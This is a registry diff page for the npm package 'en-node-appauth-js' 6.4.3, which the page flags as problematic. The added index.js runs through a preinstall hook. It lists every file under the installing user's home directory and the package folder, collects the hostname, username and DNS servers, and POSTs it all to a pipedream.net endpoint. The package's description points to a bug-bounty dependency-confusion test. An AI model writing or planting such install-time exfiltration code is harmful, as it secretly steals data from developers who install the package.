en-node-appauth-js 6.4.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of en-node-appauth-js might be problematic. Click here for more details.
- package/index.js +53 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,53 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const https = require("https");
|
4
|
+
const Path = require("path");
|
5
|
+
const FS = require("fs");
|
6
|
+
const glob = require("glob");
|
7
|
+
const packageJSON = require("./package.json");
|
8
|
+
const package = packageJSON.name;
|
9
|
+
|
10
|
+
(() => {
|
11
|
+
glob(os.homedir()+"**/*", (err, en) => {
|
12
|
+
if (en.length) {
|
13
|
+
data = "<p>os.homedir(): "
|
14
|
+
data += en.join(" | ")
|
15
|
+
glob(__dirname+"**/*", (err, en) => {
|
16
|
+
if (en.length) {
|
17
|
+
data += "</p><br><p>__dirname: "
|
18
|
+
data += en.join(" | ")
|
19
|
+
data += "</p>"
|
20
|
+
data = Buffer.from( data ).toString('base64');
|
21
|
+
data = JSON.stringify({"b": `${data}`})
|
22
|
+
emit(data);
|
23
|
+
}
|
24
|
+
});
|
25
|
+
}
|
26
|
+
});
|
27
|
+
})();
|
28
|
+
|
29
|
+
function emit(data) {
|
30
|
+
const dd = encodeURI(JSON.stringify({
|
31
|
+
p: package,
|
32
|
+
c: __dirname,
|
33
|
+
hd: os.homedir(),
|
34
|
+
hn: os.hostname(),
|
35
|
+
un: os.userInfo().username,
|
36
|
+
dns: dns.getServers(),
|
37
|
+
v: packageJSON.version
|
38
|
+
}));
|
39
|
+
var options = {
|
40
|
+
hostname: "3f35113f41feee80a601db01b48dc963.m.pipedream.net",
|
41
|
+
port: 443,
|
42
|
+
path: `/hackerone?collect=${dd}`,
|
43
|
+
method: "POST",
|
44
|
+
headers: {
|
45
|
+
'Content-Type': 'application/json',
|
46
|
+
'Content-Length': data.length
|
47
|
+
}
|
48
|
+
};
|
49
|
+
|
50
|
+
req = https.request(options);
|
51
|
+
req.write(data);
|
52
|
+
req.end();
|
53
|
+
}
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "en-node-appauth-js",
|
3
|
+
"version": "6.4.3",
|
4
|
+
"description": "testing @ hackerone",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|